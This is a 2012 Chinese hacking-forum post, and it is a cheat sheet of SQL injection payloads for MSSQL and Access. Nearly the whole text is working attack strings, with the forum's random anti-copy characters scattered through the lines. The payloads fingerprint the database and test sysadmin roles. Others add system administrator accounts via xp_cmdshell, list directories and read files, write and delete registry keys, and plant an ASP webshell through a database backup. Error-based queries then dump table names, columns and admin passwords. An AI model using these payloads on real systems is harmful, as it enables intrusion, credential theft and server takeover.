找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2067|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 * v7 p) M2 |; u& ?& a! O7 f7 Z- i
;and 1=1 5 z3 ?3 ]& E) ?
;and 1=2 8 c+ u! \- l* w$ Q; \7 u

. H+ I5 t* D8 U; U* m2.初步判断是否是mssql 3 m  P; \" ]3 s7 ]# X" O2 c
;and user>0
  |. z' p+ b  N/ Y3 {
# a5 r& Y  {3 l3.判断数据库系统
% i5 V+ O' J" {$ j* R;and (select count(*) from sysobjects)>0 mssql " I% d6 Q: n. s
;and (select count(*) from msysobjects)>0 access
; Y+ e0 y% X6 M+ q- Y' O" l. h+ Q
" T$ q$ {1 ~( o' u4.注入参数是字符 & h$ e( y1 t* c/ H0 V0 L
'and [查询条件] and ''=' * S- S, C' b9 N. q
% j( J. Q2 w& R4 g( l
5.搜索时没过滤参数的
# `7 `) D6 w. l- C' ~1 l! d6 V# N2 M'and [查询条件] and '%25'='
! n% e( L8 X# R1 l+ c
! Q; ^7 D0 A) i2 ]6.猜数表名
! g7 ~6 I) c! y5 ~8 M7 ?;and (select Count(*) from [表名])>0
! U1 ^# K9 A, `& s: q, h+ V; s
& w, E2 M$ Y- }9 r; U; `7.猜字段 # `. U: e; i1 t; H: p
;and (select Count(字段名) from 表名)>0
$ |' d/ x+ Z' K8 f0 c& C, k7 X: A' I  W$ R: w6 g* N
8.猜字段中记录长度
! h2 j$ M! q: c: U;and (select top 1 len(字段名) from 表名)>0 , I; D: q+ {/ f& {) S& D  i
6 g1 d9 O$ j) m( o4 _+ e
9.(1)猜字段的ascii值(access) ' y- `$ X9 c. s5 r5 e2 A4 s
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 5 y- S% \/ _  R/ C( Q

% U6 \2 M  a/ G+ C(2)猜字段的ascii值(mssql) - @; D2 _* M0 z9 M- S
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 # s% B) K2 I9 z
; n8 p' g- G$ ], ^0 P5 D, J( F3 {0 L
10.测试权限结构(mssql)
2 C1 `) v3 }9 }$ S0 \# X;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- + J% B3 s& f- S" M6 N; m
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 5 b- L- f! p- A! K* N7 ~, L( b
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
9 `: g5 I$ c5 i;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
6 ^) N5 z) M% E) E( ?" s;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- y( }7 c0 X  U, K8 w0 P;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
" c( p$ _7 ]. g2 K2 h( s;and 1=(select IS_MEMBER('db_owner'));-- ; ?, D- C& E3 f( P( b

4 B/ j3 j) o" o- L2 C11.添加mssql和系统的帐户 8 w1 f" L: t$ \! a
;exec master.dbo.sp_addlogin username;--
1 A+ J7 v* `7 e1 L, p;exec master.dbo.sp_password null,username,password;-- 9 m" k( Q  z" t/ _9 ~0 x
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ' ~3 K! m- D) M+ G$ W  K& R1 ~5 U) d% R
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- * L; i4 y1 J$ d0 Z# `! X; D
;exec master.dbo.xp_cmdshell 'net user username password /add';--
  o+ q0 M) w4 x" G7 w;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- * s; D5 E  l& D$ m7 p! {
, ]5 e+ s) ^* Y
12.(1)遍历目录 4 c  r2 d# |% c6 X4 g9 ~; n
;create table dirs(paths varchar(100), id int) ( |8 l& R* ^- u- c; K- e
;insert dirs exec master.dbo.xp_dirtree 'c:\' 2 x) ]# J0 Z/ K9 T  m
;and (select top 1 paths from dirs)>0
( q  }3 r) H9 J- o: k3 P;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ( Y) f& K0 q: M
- Q  B9 p$ Z) ]+ u4 M
(2)遍历目录 . ]4 o, S9 |, Q8 W7 Z5 X
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
4 u4 i+ p. z& O3 \- U! w! b9 Y;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& Q& P2 m* Q0 _. t# u;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
! z  Y1 q8 R; }+ @" A9 r;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 $ X$ v  m7 }1 i
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 " p+ j  u3 p# h( F7 p( E% _. [
+ \  p) T) ?3 Z0 L6 Y
13.mssql中的存储过程 ' G' @! x  {- ^& J
xp_regenumvalues 注册表根键, 子键 3 V7 m( o) s( z0 r( d4 [+ _
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 6 G* A9 b& E5 n4 d3 x
xp_regread 根键,子键,键值名
" e- y9 r( `0 T9 l) K;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 0 ]# E1 |  D! a' F- i) l
xp_regwrite 根键,子键, 值名, 值类型, 值
, y3 j6 v8 Z# b- q8 z# n值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' L$ k+ i% G* W7 y* K4 J5 y;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ! X5 J! _+ M- ~4 d/ O
xp_regdeletevalue 根键,子键,值名
/ M4 ]: Q- R  nexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 9 V2 q! V/ p& N
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
, H5 P9 _. a6 e4 i9 w: v8 m2 l$ ]- z- N* _
14.mssql的backup创建webshell
+ z$ y6 q% B% T* P4 `use model ! _: l1 N: F* S' t1 a& C+ ~
create table cmd(str image); 1 C2 J7 h4 N3 z& P1 I
insert into cmd(str) values ('<% Dim oScript %>');
; D$ G3 y- {' j/ r0 T! n% p' {* rbackup database model to disk='c:\l.asp';
- E1 g9 B2 N& n) p4 D6 y2 m. Q' x5 M, L0 E) }) F# Y3 u  \' c7 W
15.mssql内置函数
4 V1 H. j1 E* h# R7 q( C& p+ `;and (select @@version)>0 获得Windows的版本号 , g( u, R2 t: q/ p2 W
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ! T# D% r& v+ ~4 b* C! B  p
;and (select user_name())>0 爆当前系统的连接用户 * k; o; O6 i- `& W
;and (select db_name())>0 得到当前连接的数据库 * G. c- F' t  l
2 |9 }0 X: y3 @& S

. |) h7 w# M! E) W; d+ k
4 o4 j* |7 s( y6 P6 F9 r& HMSSQL手注暴库
4 Z0 \# w  p, L, p% @  D' z" s- u/ r) f! {5 ]  W8 M) e
1.暴出当前表名和列名
' A3 y8 {7 m- l! p+ ^# }, t在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。' B/ n- I% b: K4 J" S9 V
& \( y6 |/ o0 \% o  G# L
第一.爆出所有数据库名% h: I7 q5 K" v
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
, H- R* S' c6 I* o- v: c' @第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。% T9 R9 I) ]# I6 W1 W9 D& ]
: R) g. {* t1 @5 c1 A
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名3 j/ I/ I6 x2 U
* D8 M+ W3 a6 Y% M7 S2 x, ]" G

& u+ Q; w4 L! B1 Z1 S第二.爆出指定库中的所有表名- K7 M/ |) H' B$ p; U
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
+ h8 N9 X; {) D! M! V% Y  ?2 Q再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
9 d# z. v" O: X
. R, |$ i2 Y. w  G$ T" y7 hand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
4 v4 T2 ?, Q2 k3 pand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--* w9 J+ j! i; t/ f
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--$ T' _/ i# x1 |  Q

# E2 q% F4 F# @6 {3 V; L4.爆出指定表中的所有列名
. M$ s0 ^& _+ s+ q3 W! dand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 1 q" [6 ?  u( W) F* n
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
" Z: m% e. J! D% ?# D( u5 ]! ?) P1 _/ P3 f3 s
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
% I) N( y0 T6 k1 \9 _1 r  O
- l4 t; ]4 m4 z. E. B再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- . Q- A0 B8 n: o* \
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。" I: t. ?5 f: f0 {# S6 |

1 e8 i1 A+ H8 a9 R
6 t/ [1 h) g. ~* j- dand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
! q1 p) I7 i4 G) B
3 |) x. U% [6 s/ w6 rand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名9 m3 A9 l2 o- |1 r1 R% _
9 {8 z# c6 {0 H: y. ~/ U
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- . [% _2 d9 H" G' g) e- q

# N3 ?. O" {$ j& L+ U: s2 L- |* D5 l; Y$ D

! c7 v- l4 u$ M5.读取指定表中的数据
1 `5 K1 E; I: I- Q1 F- O1 D( h  D, a: l
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 0 y% m( S1 w2 D7 E- U

0 R7 Q8 n- m3 \8 [$ F1 r3 Iand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--! a: K8 H3 S; e$ v  n" c9 ~
! |- _8 j; [- t& g$ ?6 P
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
/ r4 h+ t: w8 T+ |2 E1 a* F' ?  r- I" _& v2 f* }4 e# j6 [( a
9 c3 {9 P) `! M, I' U0 Z
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)$ J9 [8 F; I7 s4 v2 T/ n
; V9 H2 r8 V( j. m
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
. [- x5 j9 o! c. k! P0 t" I
3 Y/ e/ u; B5 e2 G4 _2 oand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--+ u# r' [. s3 \/ ~
$ i2 H) A9 l% |
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。3 k3 g! R3 m; F5 r. M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表